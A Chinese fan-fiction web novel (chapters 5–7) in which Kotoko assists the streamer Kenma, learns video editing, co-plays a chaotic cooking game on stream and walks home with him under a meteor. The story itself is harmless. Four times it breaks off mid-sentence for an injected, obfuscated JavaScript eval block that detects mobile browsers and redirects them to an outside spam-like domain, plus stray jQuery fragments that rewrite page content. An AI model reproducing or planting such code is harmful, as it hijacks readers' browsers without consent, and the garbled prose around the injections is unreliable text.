再忽略某次给研磨君拿卡带时不小心撞到了边上的打光灯，不过好在她有好好扶住，才不至于酿成大祸。 嗯……不管怎么说，应该还算是顺畅吧。 毕竟不说什么鬼话都能随口就来的小黑前辈，就连身为直属上司的研磨前辈都经常说她干得不错。 “做得不错，没有什么可以修改的地方。稍微休息一会吧。” 看吧，她就说。 相原琴子弯弯了眉眼，挠了下后脑勺，因其直言的夸赞有些不好意思。 不过那句休息一下是单对她一个人说的，书桌前的孤爪研磨在简单抬手理了理自己散开的发丝后又紧盯着电脑屏幕，似乎并没有要休息的打算。 对方从她刚进来就一直是这个状态了，也就给她分发任务的时候抬了几次头。 想到小黑前辈对自己的信任以及那段语重心长的交代，相原琴子不免觉得是时候履行其中一项工作职责了。 不过就是任务的发布者并不是自己的上司罢了。 实际操作起来，相原琴子发现任务难度颇高。 总结而言，就是她根本找不到一个合适的开口契机。 因为对方一刻都没有停止过敲打键盘。 她抓耳挠腮，生怕自己出声惊扰会打断对方工作的思绪。 到时候主播前辈说不定会大发雷霆吧。 虽然他绝大部分时间在她面前都没有什么情绪波动，但也不意味着他不会生气，尤其是他将工作看得这般重要。 时间一点一滴的流逝，相原琴子在不管观察中终于抓到了一个适合的间隙，就在对方抬手揉了揉自己的发胀的太阳穴的时候。 “研磨前辈呢？” “嗯？”孤爪研磨有些不解。 相原琴子大气不喘，继续说着，“也要休息一下吗？” 他侧了侧头，长发随着动作滑落肩头，看上去有些错愕。 但在看到对方因为期待和不安而咬紧的唇瓣时，金色的眼眸闪动。 他垂眸瞄了一眼桌面右下角的时间，表情松动了些，语气听不出太多波澜：“那我也休息一下吧。” 相原琴子大喜。 “那我去泡咖啡！” 咖啡？ 他家有这个东西吗？ “稍等一下。”孤爪研磨伸手作挽留状。 “没事的。别的不说，对于泡咖啡我还是很有自信的。” 相原琴子只以为对方是不好意思让客人做事。 “我们家没有咖啡，只有茶叶……” 嗯？ “那咖啡机呢？” 她正是因为看到过厨房的机器，才想当然地以为是有咖啡的。 “买来还没用过……” 孤爪研磨挠了挠脸，声音很轻。 …… 相原琴子满脸笑意，“那我来泡茶吧。” 不过这个家也只有大麦茶而已。 透过茶杯飘起的氤氲热气，相原琴子偷偷看着对方垂眸抿茶的侧颜。睫毛长而密，鼻梁的线条干净，就连垂落的几根发丝都恰到好处。 主播前辈的脸真的好精致啊。 她初见面的时候还有一瞬间以为对方是颜值主播来着的，后来才发现他直播的时候就连镜头角度都懒得调。 想到这边，她忍不住哼笑出声。 意识到自己的失态，又装模作样地咳嗽了两声。 “研磨前辈，应该也是学生吧，不用参加学校的课程什么的吗？” “大部分课程在前两年就修完了，所以现在有更多的时间做自己喜欢的事情了。” 两年修完课程什么的也太夸张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171745|180707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了吧。 相原琴子张大着嘴巴，眼睛瞪得溜圆。 脑子里转了好几个圈，但该有的形容词一个也冒不出来，最后她只能憋出一句最朴素的感叹：“好厉害啊。” 孤爪研磨抿了一口茶水，温热的液体滑过喉咙，状似随意地开话题。 “琴子呢？” “每天来这边不用担心学业问题吗？” 相原琴子哈哈干笑了两声，单回想起自己每逢考试周疯狂加班加点的样子就开始胃疼。 “我真的真的超讨厌学习的，平时也不太爱看书，比较无所事事，所以没关系的……” 大概是出于学渣在学霸面前与生俱来的自卑感，相原琴子说得比较含糊，本想就这样一笔带过，没想到孤爪研磨却对这个话题颇感兴趣。 “那考试什么的没关系吗？” “啊，我是属于考前努力型选手。还好现在不用学理科，只是单纯背诵的话还勉勉强强能应付一点。” “背诵啊……” “然而只要装出什么都没学的样子，老师会因为顶不住压力给我们划重点的！” “还会这样吗？” “嗯嗯。” 闲聊间，相原琴子也愈发放松起来，甚至放下茶杯开始手舞足蹈地形容自己考前的备战状态。 什么头上系着“奋斗”的头巾，什么临阵磨枪的时候不小心打瞌睡差点错过考试。 听着孤爪研磨直乐呵。 在听到黑发少女形容自己某位同学考前甚至不忍伤害正在吸食自己血的蚊子，希望以自己的慈悲善良换来考试通过的时候，孤爪研磨终于压制不住，“噗嗤”一声笑了出来。 他揉了揉憋得有些发痛的嘴角，勾着嘴角说了一句“抱歉”，但眼底的笑意依旧掩盖不住。 相原琴子机械般的转过头盯着他，黑色的眼眸中写满了难以置信。 “研磨前辈？原来也是会笑的啊。” “我姑且也是个活人，而且也不是面瘫。” “啊。” 兴许是由于这个回答过于直白又带着点漫不经心的坦诚，反倒显得格外好笑，相原琴子先是愣了两秒，随即也笑了出来。 “没想到研磨前辈会对这个话题感兴趣诶。” 孤爪研磨嘴角的笑意仍未褪去，语气中透露着一股怀念，“感觉很新奇，而且会让我回想起高中时候的朋友。” “研磨前辈的朋友？” “嗯，他现在出国了。有机会的可以介绍你们认识，你们应该会很合得来。” 都很热情。 也很有趣。 玩笑话说完，相原琴子撑着的身子瘫了下来，脸上的笑意也慢慢消散。 她垂下眼，无意识地摩挲着杯壁，声音轻得不可闻。 “但有的时候其实我也觉得自己还是不要再无所事事，去做点有意义的事情的。” 好像她一直以来就只会一股脑地跟在那个人的身后。 随着她话音落下，场面开始沉默起来。 一直以来，相原琴子在他面前展现的都是活泼开朗的形象，好像有无穷无尽的精力，就这么忽然低沉下去，让孤爪研磨有些不太适应。 他也并不像小黑那么会安慰人。 意识到自己沉重的话语好像给前辈带来了困扰，相原琴子摆了摆手，本想再用些玩笑话打破现场的沉寂。 这时，一道清冷的声线突然在她耳边响起，声音不高，却清晰地钻进她的耳朵里。 “那就从现在开始去找。” “去找你真正想做的事情。” 5. 第5章 剪辑 “那，应该怎样才能找到呢？” “嗯……琴子有自己喜欢做的事情吗？任何事情都可以。” 相原琴子回忆了一番自己的日常生活。 好像每天就是普通地打扮一下自己，普通地去学校上学，然后回家和入江妈妈聊天，唯一称得上特别的也就前段时间接手了一段时间家中的料理。 并不是特别擅长运动，虽然参加了网球社团，但也只能说得上是打得马马虎虎，也没有特别拿得出手的天赋…… “好像没有特别的……” 她单手托腮，皱着一张小巧的脸蛋，连鼻尖都跟着轻轻皱了皱。 思来想去，她得不到一个答案。 “那就试着记录看看吧。拿手机把你的一天记录下来，再回过头来看，可能会发现些什么。” 孤爪研磨试着给出建议。 “好呀。那我就挑课多的一天记录一下。不过感觉大部分都是很无聊的事情……” 她吐了吐舌头，语气里带着点不确定。 “无聊也没关系。” 孤爪研磨淡淡回应，目光落在她手边的手机上，像是忽然想起什么，话锋一转，“所以，琴子要试试看学习如何剪辑视频吗？” “剪辑？” 触碰到了新的领域，相原琴子有些好奇，亮闪闪的眼睛直勾勾地看着对方。 “可以把你日常记录下来的东西精简化，故事化，也可以上传到网上分享给别人。” 孤爪研磨的语速向来不紧不慢，带着一种独有的松弛感，但在相原琴子持续不断的星星眼攻击下，他忍不住侧开目光，连带着说话的节奏都快了半拍。 相原琴子边听边用力地点点头，双手交叠放在桌上，满脸认真，“请务必教我，研磨老师。” 格外郑重的语气，配合着那句故意讨巧的研磨老师，让孤爪研磨不知怎么回事心情大好。 他抬手靠在嘴边，轻咳了一声，试图掩饰那点不易察觉的笑意。 “那既然如此的话要试试看先帮我剪剪看视频吗？不是之前那张单纯的校对字幕。” “好！” 再一次从换怀绝技的大主播那边学到新知识后，相原琴子意气风发，浑身都充满了干劲，甚至觉得自己马上就能靠这一项技能糊口了。 然而现实的冷水总是来得猝不及防。 她被长发主播发来的重大任务量给压倒了。 看着孤爪研磨发来的长达七个小时的录屏时长，她的眼睛微微睁大，一时有些傻眼。 不知道该吐槽面前这人居然连续七小时重复玩同一款游戏，还是该头疼该如何进行视频处理。 “我知道了。”她的脸上是难得严肃。 “嗯？” “研磨前辈，只是想找人帮你处理一下这个视频吧。” 小心思暴露了。 孤爪研磨尴尬地摸了摸鼻子，金色的眼睛瞥了她一眼，又很快移开。 空气安静了几秒。 他温声放出最后的杀招。 “我会按照工作量付工资的。” 工资！ 相原琴子猛地一下抬头，原本因为庞大的工作量有些黯淡的眼睛里瞬间燃起一簇光亮。 想到对方开出的堪比天文般的数字，她忽然觉得自己又可以了。 她最近想从入江家搬出来的欲望愈发强烈，哪怕只是租来的一居室也好，她不想再把找房子的压力只放在父亲身上了。 “请务必就这样让我继续做下去吧。” 虽说足够的资金可以勉强驱使她熬过这份额外的工作，可看着屏幕上那串冗长的时长，相原琴子还是忍不住敲出了疑问：“前辈为什么不找人帮你呢？” “因为喜欢。” “嗯？” “因为喜欢做这件事情”，他又重复了一遍，“所以能够看到手上新生成的视频，就会开心。” 相原琴子有些不太理解。 “哪怕是处理这么长的视频也会开心吗？” 孤爪研磨沉默。 答案那自然不会，即便是他，只要一想到要对着七个小时的录屏一点点筛选、剪辑，也不免觉得有些困扰，甚至隐隐生出点烦躁。 相原琴子好奇地瞅了他一眼，只见对方那张平日里常常面无表情的精致脸蛋难得皱成了一团，就连眉梢也蹙得很紧。 “啊，这是意外。一般只有这种陷阱很多的小游戏才会录到这种时长。” 相原琴子点头表示自己了解了，“嗯嗯。” 但对方的话匣子莫名就被打开了。 “话说起来在玩这个游戏的时候真的很火大……” 话音刚落，他的语速突然变快了，就连说话声也比平时响亮了几分，尾音里都带着点没压住的火气：“明明通关门就在前面，但走过去就忽然掉坑里了，还有头顶掉下来的铁球……设计这游戏的人绝对是故意的。” 看起来是真的很生气了。 他还在噼里啪啦地输出着不满，抱怨着游戏里那些刁钻的机关，嘴巴微微鼓着，甚至还隐隐有要炸毛的趋势。 难得在他身上看到这般这样鲜活的情绪，相原琴子觉得有些稀奇。 有点孩子气，但是很可爱。 她眨了眨眼睛，附和着对方一起吐槽了两句，随后结束了两人漫长的下午茶时光，双双投入进工作中。 好在需要编辑的视频能够倍速播放，这无疑帮她节省了近一半的时间。 相原琴子耐着性子一截截播放，再逐一将顺利通关的帧数裁剪出来拼接在一起。 操作并不难，唯一需要的只是耐心而已，而她最不缺的就是耐心了。 以前是这样，现在依然如此。 没想到工作到近约七点，她竟已完成了一大半。 匆匆吃过晚饭，两人调整好设备，开始了今晚的常规直播。 今天孤爪研磨直播玩的是一款新发售的百人竞技类fps游戏。 虽然相原琴子并不认识这款游戏，但并不妨碍她隔着电脑欣赏几步之外那位大主播的高端操作。 明明还是新发售的游戏，但孤爪研磨已经能够玩得十分顺畅。 流畅的爆头，扎实的压枪技巧以及行云流水般的丝滑走位，让对游戏并不热衷的她都看得有些蠢蠢欲动。 无视某些【一定是开了吧】，【这不是开了我XX】的炎上，相原琴子已经能颇为熟练地与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171746|180707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直播间的各位观众粉丝进行互动，不再像最初那样生怕自己回错话而紧张得手心冒汗。 就像小黑前辈说得那样，这个直播间的大多数观众都很友善。 直播时长向来控制在三小时左右，孤爪研磨一般都把控得很好，但也难得会有一场游戏时间过长而耽误了按时下播的场合。 比如今天。 耐心地等待屏幕上亮起金闪闪的胜利字眼，相原琴子轻敲了一下桌面，出声提醒。 “爪爪，看一下评论哦。大家都在问下一次双人游戏的事情。” “了解。” 孤爪研磨拨弄了一下手边的话筒，随意扫了一下屏幕上飘过的留言。 【换助理了每月一次的双人小游戏还会继续吗？】 再重复了一遍观众的问题后，他耐心回复，“会继续。” 【游戏还是上次说好的那一款吗？没有变动吧。】 “嗯，没有变动。依旧是胡O厨房。” 【小黑助理会回来吗？还是说以后都会和琴子助理一起直播。】 “小黑有事不会回来，所以还是会和琴子一起。” 【爪爪爪爪，会在明天播吗？还是再往后推几天呀。】 “至于时间的话……” 孤爪研磨的声音透过耳机传来，带着点电流的微哑，在直播间的背景音里显得格外清晰。 他顿了一顿，抬手摘下一边耳机，侧过头对着不远处琴子问道，“琴子，明天应该不会请假吧。” 相原琴子闻言，手上敲键盘的动作停了下来，认真想了想明天的日程。 是周日，没有课。与纯子还有阿金她们的约会是在周一下午，不需要直播的那天…… 随即她用力点了点头：“嗯，明天一整天都有空。” 得到首肯后，孤爪研磨重新带上耳机，“那就定在明天晚上吧。” 【迫不及待！】 【+1，等着看爪爪手忙脚乱的场景了。】 【哈哈哈哈哈，同样想看。】 【等等，琴子不会是游戏高手吧，所以才会被招进来当新助理。】 【有很大的可能！！完蛋，那我们岂不是看不成爪爪的笑话了吗。】 【啊啊啊，不要啊。】 【爪爪你快回答哇，琴子的水平怎么样啊！】 屏幕面前，一双金色的眼眸将滚动的评论一一扫过，长而密的睫毛在眼睑下方投下淡淡的阴影。 “琴子的游戏水平啊……我也说不准呢。” “总之，后天再见。” 对着满屏的【期待】以及【爪爪再见，琴子也再见】，相原琴子圆圆的眼珠咕噜地转了一圈，一时没反应过来发生了什么。 “什么游戏？” 她下意识地转头问身边的孤爪研磨，语气里还带着点懵。 孤爪研磨摘下耳机挂在脖子上，抬眼直视，“和观众们定过一个月会有一次小游戏的通关直播，之前都是和小黑一起的。” 所以小黑前辈走了之后就轮到她了吗？ 相原琴子悟了。 但问题是，她真的手很笨，不会玩游戏啊。 可否申请让小黑前辈限时返场一天！ 6. 第6章 游戏 答案自然是不可以的。 “研磨前辈，下……下午好。” 第二天，相原琴子顶着一个硕大的黑眼圈出现在孤爪宅，就连声音也带着几分令人无法忽视的虚弱。 甜美的外形被黑眼圈衬得添了几分憔悴，一副明显精力被吸食干净的样子。 书桌前的孤爪研磨瞳孔地震，“怎，怎么了吗？” 相原琴子无力地摆了摆手，哈哈干笑了两声，瘫倒在桌子上。 平日里总是扎着各种发型的黑色长发此刻罕见地披散着肩上，随着她的动作铺开在桌面上。 “就是昨晚做噩梦了。” 或者可以称得上是一夜没睡。 一想到今天要在直播间的众多观众面前展现出她拙劣的游戏技术，她昨天晚上就紧张得睡不着觉。 好不容易睡着了，梦里也都是她被炎上的场景。 密密麻麻的评论写的都是让她滚出爪爪直播间的字眼，就连家里都被塞入了不堪入目的纸条。 “梦到被前辈的粉丝们逐出直播间的场景了。” “……” 相原琴子打了个大大的哈欠，趴着桌上一动不动，脸颊贴着微凉的桌面，哼唧了一下。 孤爪研磨抿了抿嘴唇，试图上前安慰，“不是还没尝试吗？说不定你会玩得很好……” 如此苍白的安慰起不到任何作用。 琴子的脸蛋在桌子上滚了一圈，从右脸贴着桌面变成左脸贴着，半闭着眼睛，声音闷闷的。 “可我是属于小时候连马里奥都玩不好的那一批……” 马里奥都玩不好？ 这事情就有点严重了。 这可是世界各地大部分小孩的启蒙游戏，他在刚会拿起游戏机的时候就把这个游戏打通关了。 孤爪研磨秀气的脸庞一同皱了起来，思考着，试图换个角度进行安慰。 “没关系。之前和我配合的小黑也玩得不好，观众们不会很在意的，倒不如说他们更想看这一幕。” “小黑前辈也玩得不好吗？” 有了比较，相原琴子稍微打起了点精神，掀起因为困意而带着水汽的眼眸。 见安慰有用，孤爪研磨开始说谎话不打草稿，温声补充道：“对，他也不会玩马里奥。” 其实玩得还算不错。 不然他年少不懂事的时候也不会拉着小黑陪自己玩各种游戏。 “真的吗？” 相原琴子相信了，脸上的困倦也少了几分，满眼期冀地盯着他看。 见状，孤爪研磨愈发觉得自己的策略行得通。 “嗯，小黑手很笨的。” “诶？我还以为小黑前辈做什么事情都会很擅长的。” “你忘记了吗？小黑小的时候都还是很内向的。” 他脸不红心不跳地继续找罪证抹黑。 内向？ 哦对，好像是有这回事。 虽然听着像是上辈子的故事。 她和小黑前辈早在他搬家之前就认识，当时她年纪还小，和对方接触也不太多，印象里他总是总是低着头，说话也细声细气的。 所以之后和小黑前辈某次重逢的时候还因为他的变化太大而吓了一跳。 最后还是靠着他十年不变的不良少年发型才敢相认。 “好像…… 确实是这样。” 回忆至此，她端正地坐了起来，“嗯！忽然有信心了，那至少我要做得比小黑前辈稍微好一些。” 紧接着，她将乌黑的眼睛对着孤爪研磨。 “研磨前辈！可以再重复一下游戏名字吗？我想先熟悉一下！” 啊，这么快恢复元气了。 孤爪研磨金眸微闪，“那我和你一起吧……” 两人要玩的胡O厨房本质上来说是一款餐饮类的经营游戏，操作并不困难。 唯一需要注意的是由于这款游戏需要两人协力操作，必须得要事先明确好各自的目标，不然很容易忙中出错。 提前在电脑上熟悉了游戏的前两关，并且以两颗心的等级通关，相原琴子信心大涨。 “感觉还可以！” 对着那双亮晶晶的眼睛，孤爪研磨说出扫兴的话语。 “嗯……很棒……还要继续吗？” “要！” * 晚上八点整，KODZUKEN的直播间。 孤爪研磨重新调整了一下摄像头的角度，确保相原琴子在镜头之外，这才开启直播。 由于早就有人蹲守，刚一开播直播间就涌入一大批人，无数留言在另一块屏幕上闪过。 轻拨麦克风。 “晚上好，这里是爪爪。” 他顿了顿，对着边上使了个眼神，相原琴子赶紧上道地接上，“这里是琴子。” 【晚上好！】 【终于等到了。】 【琴子小姐的声音很可爱诶～】 不同于别的主播，孤爪研磨在直播与观众的互动向来不多。很偶尔才会抬眼扫过弹幕，大部分时候也只是挑一两个关于游戏机制的问题简短回复。 这一次他依旧话语简短，准备直接切换页面开始今晚的游戏。 缓缓瞥了眼边上莫名其妙已经燃起来甚至开始拉伸手指的黑发少女，他嘴角抑制不住地扬起。 语气淡淡地宣布，“我们从第一关先开始。” 游戏的第一关并不难，他们所操纵的人物不需要提供种类不一的菜品，再加上已经事先熟悉过一遍，两人配合得还算默契，荣获当天一个三星评分。 然而接下来就没有这么容易了，随着关卡的不断升级，意味着他们必须以更快的手速完成各项分工，因此原本还算是五五开的分工此刻变得不合理了起来。 因为相原琴子没有办法跟上孤爪研磨的速度。 往往就是他所操纵的角色已经将自己所分配的任务都完成只等烹饪这一步了，但琴子那一边的菜还没切完。 因此他们原本还算是配合愉快的流水线出现了停滞。 相原琴子自然发现了这一点，于是她开始尽可能地加快自己的手上的速度，让流水线重新运转起来。 但一着急，她就开始手忙脚乱。 结果就是只顾着拿菜切菜，甚至忘记了她的另一项工作，也就是洗盘子。 孤爪研磨不得不加速飞奔过去替她接手了这项工作。 待清洗完盘子后，又飞速跑回原位，烹饪，上餐，甚至最后连切菜都帮上忙了。 堪比劳模。 【哈哈哈哈哈】 【哈哈哈哈，终于到我想看的场景了】 【累死累活的爪爪与已经竭尽全力却只能完成切菜的队友.jpg】 勉勉强强通关此关，相原琴子双眼发直。 求助的眼神投向一边。 眼瞧着孤爪研磨表情严肃，陷入沉思之中，相原琴子不禁正襟危坐， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171747|180707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 任凭他吩咐。 “我们改变一下策略吧。琴子就负责切菜和把菜放进锅里就好了，剩下的都由我来。” 【爪爪：我全部可以一手包办】 【爪爪：摊牌了，我自己一个人就能玩这个游戏】 【哈哈哈哈哈哈哈哈】 【笑不活了】 相原琴子连声应下。 在新一轮中，她什么也没有做，除了重复将牛肉拿出来，切碎，放入锅中这三步之外。 另一边的孤爪研磨则一个人玩出了三个人的气势，飞奔在厨房之中，键盘敲得震天响。 又一次在穿越过道时被研磨所操纵的角色撞飞之后，相原琴子已经能够面色不改地操控着角色回到原位，在独属于她一人的岗位上兢兢业业的工作。 虽然看起来都玩得热火朝天，但单从屏幕上来看两人似乎在玩截然不同的游戏。 一边鸡飞狗跳，另一边安静祥和。 【哈哈哈哈哈，我快不行了】 【我舍友问我为什么笑得跟白痴一样，我让他来看，现在笑得比我还离谱】 【谁懂，我都能听到爪爪那边的键盘声】 【哈哈哈哈哈，我也听到了】 【琴子小姐那边看上去好佛系，但我又看得出来她真的已经尽力了】 【太真实了，我和我朋友玩这个游戏的时候也是这样】 好景不长，这样的祥和并没有持续太久。 因为某次洗碗耽搁了孤爪研磨跑去讲火炉上的食材撤下来的时间，炉子起火了。 “啊啊啊，研磨前辈，完蛋了！” 正当他赶着用灭火器前去灭火的过程中，相原琴子手下急得转圈圈的角色挡住了他唯一的去路。 偏偏这回他怎么也撞不开她，两人就在那个只能通过一人的狭小走道中卡了很久。 【哈哈哈哈】 【哈哈哈哈哈哈哈！】 【着急到直接喊爪爪本名】 【哈哈哈哈哈而且喊得还是前辈，我不行了。】 “前辈前辈，着火了怎么办，怎么灭火啊啊啊。” 耽搁了时间，原本还处于正常状态下的火炉也支撑不住了，整片厨房被火光所覆盖，鲜红一片。 如此，孤爪研磨也不再急着操作了。 他就这么默默盯着那一片火红，没有出声。 “啊啊啊，前辈！！” 相原琴子依然在焦急地叫唤。 【哈哈哈哈哈，爪爪傻眼了】 【已截图，旷世名画哈哈哈哈】 【爪爪：肝不动了，我缓缓】 【太有节目效果了，这正是我想看的！莫多莫多】 【哈哈哈哈哈，琴子也太好笑了，救命哈哈哈哈哈】 一声不吭地等到「失败」的字样出现，孤爪研磨无力地回头。 “爪爪。” “嗯？” 嗯？？相原琴子这才意识到她已经不知道在直播中喊了多少句前辈了。 想起之前两人关于“煞风景”的讨论，她自觉大事不妙。 “实在是不好意思！！” 一个深深的鞠躬撞在了话筒上，炸起一片音浪。 【噗，真是太有喜剧效果了】 【每段截出来都是可以堪称名场面的效果哈哈哈】 【求增加直播时长！！我还想再看下去！我愿意刷礼物的啊！】 【我也愿意！莫多莫多！】 7. 第7章 散步 “噗。” 眼前的这一幕喜剧含量太高，再配合着屏幕上的熊熊烈火，使得已经处于极限状态下的孤爪研磨没有憋住，噗嗤一声直接笑场了。 “爪爪？” 相原琴子表情呆滞，半张着嘴巴回望身边那道因为笑容而不断颤抖的身影。 尚且涉世未深的她不知道该如何面对如此世界难题。 但她还依稀记得少年的嘱托，将前辈的称呼换回了爪爪。 好在孤爪研磨并没有失态太久，只半分钟他就慢慢收拾好了自己的情绪，但嘴角的笑意依旧掩盖不住。 “没事，我们继续，还有一个小时的时间。” 【爪爪也崩不住了哈哈哈】 【我作证是真好笑啊】 【多年老粉表示爪爪已经很久没有笑得这么开心了】 【哈哈哈你们不要cos少爷的管家啊喂】 【什么？？爪爪你原来不是面瘫】 【哈哈哈哈一直不是啊，多注意的话会发现爪的小表情还是很多的】 接下来的关卡只会越来越难，好不容易熬完最后的那一个小时，相原琴子的大脑已经宕机了。 她的大脑根本跟不上自己的手速，往往就是在厨房里跑来跑去找不到目标还容易和研磨前辈的角色撞上。 身心俱疲。 她想不明白，怎么会有这么难玩的游戏！ 刚开始她还兴致冲冲会瞟一眼飞过的屏幕，到后来她已经完全不想看了，因为他们无一例外都是在哈哈大笑。 太丢人了…… 直播结束，她只能勉强撑着一口气，露出一只手朝着镜头挥了挥手，轻飘飘来了句，“再见”。 【再见琴子～】 【今天看得很开心，下次再见！】 【再见再见！】 【……】 最后一口气也溜走了，相原琴子瘫在桌子上一动不动，半个魂魄已经从她口出冒出。 在确保摄影机停止运转后，孤爪研磨摘下耳机，见桌子上趴着的那一团，他不由好奇地伸出手戳了戳。 黑色的团子挣扎着疯狂蠕动，晃动中柔顺的发丝擦过了他的手指，他嗖地一下就将右手收回至卫衣中，装作无事发生的样子。 “琴子？” “……” “琴子小姐？” “是——” 相原琴子有气无力，闷声回答。 “时间不早了，送你回家。” “好——” 挣扎着起身，草草将揉成一团的头发理顺，胡乱地将随身物品丢进包里，她默默地跟在孤爪研磨身后出门。 白日里刚下过雨，但此刻天气却出奇得好。地上的雨水还没干透，两侧路灯在湿漉漉的地面投下长长的光晕，时不时阵阵凉风吹过。 长发的主播今天难得舍弃了卫衣，身着黑色衬衣，上面点缀着银色的暗纹刺绣，下身是同色系宽松裤子，垂落的长发松松系着，看上去随性慵懒。 宽大的衣袍遮住了他的身材，但从肩线的利落弧度能看出骨架的纤长，很是清瘦。 不像小黑前辈一样身材高大，一眼就让人很有安全感，却也的的确确是属于男孩子的背影。 这样发着呆。 一抹淡淡的声线从前边传来。 “要稍微散步一会吗？” “嗯……好……”她收回打量的视线，轻声应下。 两人没有再开口，无声地感受着微凉的晚风，直到第二次路过孤爪宅的时候，相原琴子终于酝酿好了情绪。 “那个，前辈……” 她伸出手轻轻扯了一下对方黑色衬衣的袖口，触碰到的布料带着点微凉的质感。 长发少年闻声停下脚步，金色的眼眸里带着一丝疑惑。 深吸了一口气，她再一次深深地鞠了一躬，语气满是恳切，“真的很对不起前辈。” “对不起我什么？” “刚刚直播的时候犯了不少错误，还不小心把前辈的原名说出来了。” 虽然前辈并没有和她计较，甚至还一反常态笑得很开心，但这并不意味着可以把她的错误一笔勾销。 “在游戏的时候一直挡着前辈的路，一不小心就自乱阵脚……” 她一句句数落着自己方才犯下的错误，奈何越清点越发现自己的错误实在太多，一下子根本说不完。 千古罪人也不过如此。 她慢慢将自己的脸蛋捂住，不愿见人。 孤爪研磨故弄玄虚地啊了一声，垂下眼眸看她，“确实是这样呢……” 他本想借势再逗逗她，但眼瞧着少女越来越低的脑袋，以及有些泣音的说话声，他还是放弃了这个想法。 只是，又该怎么与她解释自己并没有生气呢。 相反，还有点开心。 沉思片刻，他掏出手袋里的手机，调出直播间的后台记录，在琴子面前晃了晃，“但是托琴子的福，这场直播的数据出奇的好。” 这不是托词，而是事实。 相原琴子全当他只是安慰自己，但碍于孤爪研磨在她心中的超高信服度，她心中仍然暗藏一丝希望，掀起眼皮，只敢睁开一只眼睛一探究竟。 不过没想到前辈说的居然是真的！ 不管是在线人数还是打赏都大幅度地超过了前几次直播！ 她“嗖”一下起身，动作快得带起一阵风，伸手就接过手机贴到了自己的面前。 喃喃道，“怎会如此……” “所以我不生气。” “那我是被宽恕了吗？” “嗯……是的哦。而且琴子今天是嘉宾，所以还会按照份额给你发奖金。” 还有奖金？！ 这是什么神仙老板！ 相原琴子泪眼汪汪，她没想到能从对方如此冷漠的口吻中听到这么温柔人心的话语。 “你简直就是我的再生父母。” 研磨无语，“禁止说这么夸张的话。” 得到言语上的原谅，相原琴子心情一下子舒坦了许多，说话也比刚才大胆了许多。 “但是真的没事吗，感觉害得前辈和我一起出丑了。” “嗯……确实可能会被粉丝们录下来反复观看吧。” “完蛋了……” “为什么？” “前辈不是不太喜欢引人注目吗？” 孤爪研磨一愣，随即眉眼变得柔和起来。 “之前可能确实会这样，但现在好歹也做直播很多年了，所以对网上那些评论什么的也没有那么在意了。” 不过他一向不爱看评论，光是这样倒也对他没什么影响，倒是会有可能被小黑还有别的亲友刷到。 不出意外小黑一定会来调侃他。 嗯，这就有点烦人了。 “真的吗？” 尽管心中飘过许多杂七杂八的想法，但他表面上依旧维持镇定，“真的。” 再三确认研磨前辈真的没有在不开心之后，相原琴子这才彻彻底底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171748|180707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地安心下来。 “前辈下次要提早告诉我游戏的名字哦，我一定要提前一个星期开始练习。” “好的。” “还有这些游戏有没有什么窍门……” 东拉西扯间，他们继续往入江宅的方向走去。 墨蓝色的夜空格外清澈，缀满了点点星光。就在相原琴子说话的那一瞬间，一道明亮的光拖着浅淡的尾迹划破天际，快得像错觉。 她话语一转，声音里瞬间裹满了惊喜“啊，是流星。” 眼睛瞪得圆圆的，情绪激动间，她下意识地抓住了身边孤爪研磨的手臂，轻轻晃了晃。 “你看到了吗，前辈？” “嗯，看到了。” 孤爪研磨瞥了一眼少女扶着他胳膊的纤手，眼睛像是被那点突兀的亮色刺了一下，他飞快地移开目光，睫毛垂下，遮住了眼底一闪而过的波澜。 “上一次见到流星还是上一次呢。” “……” 他不知道该怎么回复这句废话，于是干脆什么都没说。 “不过说起来每次遇到流星都感觉会有不好的事情发生。” 比如她家遭殃的房子和以为是蒸蒸日上实则是彻头彻尾失败的恋情。 如此这般回忆着，相原琴子惊觉看到流星好像并不是一件好事。 莫非她又要开始倒霉了？！ 她才不要啊，最近好不容易感觉自己稍微走运了一点…… 